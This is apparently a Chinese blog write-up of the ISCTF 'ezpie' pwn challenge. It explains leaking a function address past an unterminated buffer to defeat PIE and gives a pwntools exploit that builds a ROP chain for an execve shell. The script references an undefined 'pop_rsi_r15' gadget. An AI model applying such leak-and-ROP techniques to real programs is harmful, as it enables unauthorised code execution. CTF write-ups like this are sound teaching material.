首页 > 其他分享 >ISCTFpwn的ezpie题解

ISCTFpwn的ezpie题解

时间:2023-12-01 23:32:00浏览次数:40  
标签:ISCTFpwn addr 题解 ezpie 地址 base io payload p64

目前接触的随机好像都与地址有关,而且还有一个特性也就是只是基址随机,只要有任意一个地址就可以知道其他所有具体地址。(libc和pie保护)

这里将通过ezpie这道题介绍绕过pie的一种方式,泄露地址一获取全部地址的方法。本人还不太懂partially write的原理,就不误人子弟了。

ISCTFpwn的ezpie题解_pwn

这里我们看到v5等于function函数的地址。很明显在勾引我们去泄露function的地址,问题是如何泄露。看看栈。v5是var_8

ISCTFpwn的ezpie题解_栈溢出_02

因为read读入三十个字节,所以我们控制的区域是buf后三十个字节的空间,虽然不能做到栈溢出,不过看到v5在我们buf可控制的空间里。

这里就可以通过写入buf顶到v5的位置前,让buf结尾的\x00没有地方写的下。所以在程序输出“hello ,”之后就会跟上我们的垃圾数据以及v5的地址。

这里我们看看如果输入刚好少一个A看看能不能看到\x00以证实我们的方法

ISCTFpwn的ezpie题解_pwn_03

ISCTFpwn的ezpie题解_栈溢出_04

可惜啊,这里没有把\x00显性的写出来。

那我们还是在看看刚刚好顶到v5前的效果吧。

ISCTFpwn的ezpie题解_栈溢出_05

ISCTFpwn的ezpie题解_ezpie_06

可以看到,中间skipped掉了,说明在func前的就是八个A刚刚好占满一个字节

ISCTFpwn的ezpie题解_ISCTF_07

在已经通过main函数泄露地址后来道func就是很常规的ROP构造了。直接上exp奥。

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    #arch = "i386",
    log_level="debug",
)
io = process("./ezpie")
def debug():
    gdb.attach(io)
    pause()
debug()
[################################################]
offset = 88 #在func里面填充栈的垃圾数据字节数
io.sendafter('your name->',b'A'*40) #用垃圾数据泄露出func的地址
io.recvuntil(b'A'*40) #用recvuntil吃掉垃圾数据
a = u64(io.recv(6).ljust(8,b'\x00')) #正式接受func地址
print('a\t',hex(a)) #打印出来方便调试
base_addr = a - 0x120e #泄露的是func的地址 
print(hex(base_addr)) 
main_addr = 0x1254 + base_addr #后面的gadget都要记得加上base_addr
pop_rax = 0x12c8 + base_addr 
pop_rdi = 0x1333 + base_addr 
binsh = 0x2008 + base_addr 
sys_ret = 0x12C5 + base_addr 
payload = cyclic(offset) 
payload += p64(pop_rax) + p64(0x3b) 
payload += p64(pop_rdi) + p64(binsh) 
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(sys_ret) 
io.sendlineafter('please enter your information-> ',payload) 
io.interactive()

这里没对rdx处理第一是因为找不到rdx片段,第二是rdx在这时已经是0了。(在调用puts函数之后rdx变成0了,这个估计是puts函数特有的一个作用,可以留意一下)

标签:ISCTFpwn,addr,题解,ezpie,地址,base,io,payload,p64
From: https://blog.51cto.com/u_16356440/8649627

相关文章

  • 【POJ 1144】Network 题解(Tarjan算法求无向图的割点)
    一家电话线公司(TLC)正在建立一个新的电话电缆网络。它们连接由1到N的整数编号的几个位置。没有两个地方的数字相同。这些线路是双向的,总是连接在两个地方,在每一个地方,线路都以电话交换机结束。每个地方都有一个电话交换机。从每个地方可以通过其他地方的线路到达,但不需要直接连接,可......
  • P9879 题解
    blog。找网络流水题写题解/hsh。间隔染色(\(i+j\)分奇偶染不同色)后,所有\(i+j\)为奇数的格子反色,题目的Pattern等价于是\(2\times2\)的全黑或全白格子。然后很自然地想Flow了。每个点分黑白两种状态。如果\((x,y)\)对应的Pattern有机会染成全黑,就连边\(S\xright......
  • 2023ISCTFpwn题目:stack题解
    这是我在这次比赛中遇到最有意思的一题,不仅让我看到了一种有意思的题型,而且让我开始看懂了pwndbg的调试界面。IDA里面是这样的,有直接可以提权的backdoor函数,有read函数,看似有点像ret2system。让我们分析一下这个函数的读入逻辑:首先让你输入一个size值,read会总共分size次读入一个字......
  • C#把listA通过“=”赋值给listB,然后对listA进行clear清空,第二个listB也清空了问题解决
    针对ArrayList赋值到另一个ArrayList的方法ArrayList<String>A=newArrayList<String>();A.add("1");A.add("2");ArrayList<String>B=newArrayList<String>();;B=A;A.clear();A清空后发现B也清空了。此时B对象相当与A对象的引用,而并不是将A对象的值单纯的传递给......
  • CF1705E Mark and Professor Koro 题解
    题意:给定一个长度为$n$$(1\len\le2e5)$的序列,每次可以把两个相等的$a_i$和$a_j$合并为一个$a_i+1$。给定$q$$(1\leq\le2e5)$次修改,每次将$a_k$修改为$l$,求每次操作后合并到无法再合并时出现的最大数。其中,$1\lea_i\le2e5$。......
  • 【ErikTse】2023-Codeforces新手训练营 第六期题解
    A.Wrath题目大意给你一个\(L\)数组和\(n\)个人,第\(i\)个人可以使用威力为\(L_i\)的闪电旋风劈击杀前面\(L_i\)人,问你最后能存活多少人?思路差分。开一个数组来标记当前威力的闪电旋风劈能击杀到的最远的人和使用技能的人,最远击杀的人所在的位置+1,自己的位置-1,这样算前缀和时所......
  • DBeaver连接PostgreSQL后只有默认数据库“postgres”不显示其他数据库的问题解决办法
    我们在使用DBeaver连接PostgreSQL后,发现数据库中只有“postgres”默认数据库,不显示我们自己创建的数据库。1、......
  • CF1896D Ones and Twos 题解
    题意:思路:先考虑不带修:如果长度为$n$的序列$a$中无$1$,当且仅当$2\les\lesum(1,n)$时,一定有解;否则,一定无解。通过$set$维护序列$a$中每个$1$的位置,找到最靠左的$1$的位置$l$以及最靠右的$1$的位置$r$。对于区间$[l,n]$,由......
  • ABC270F 题解
    和博客园一样好的体验思路首先看到花最小代价使得所有点连通,果断转换成最小生成树问题。接下来就要考虑怎么建图,首先陆地就正常连不用说,建机场和港口的代价貌似都是点权,考虑转成边权。因为一个点飞或者划船到另一个点要两重代价,所以若我们想让\(u\)和\(v\)建能飞过去的边,我......
  • P6859 蝴蝶与花 题解
    题意:有一个长度为$n$的序列$a$,其中所有元素都为$1$或$2$,要求进行$q$次操作,每次操作为以下之一:$A$$s$:询问是否存在$a$的连续子序列满足其中元素总和为$s$,若有合法的方案,输出这个方案的左右端点位置(多种方案时输出左端点最小的方案),否则输出$......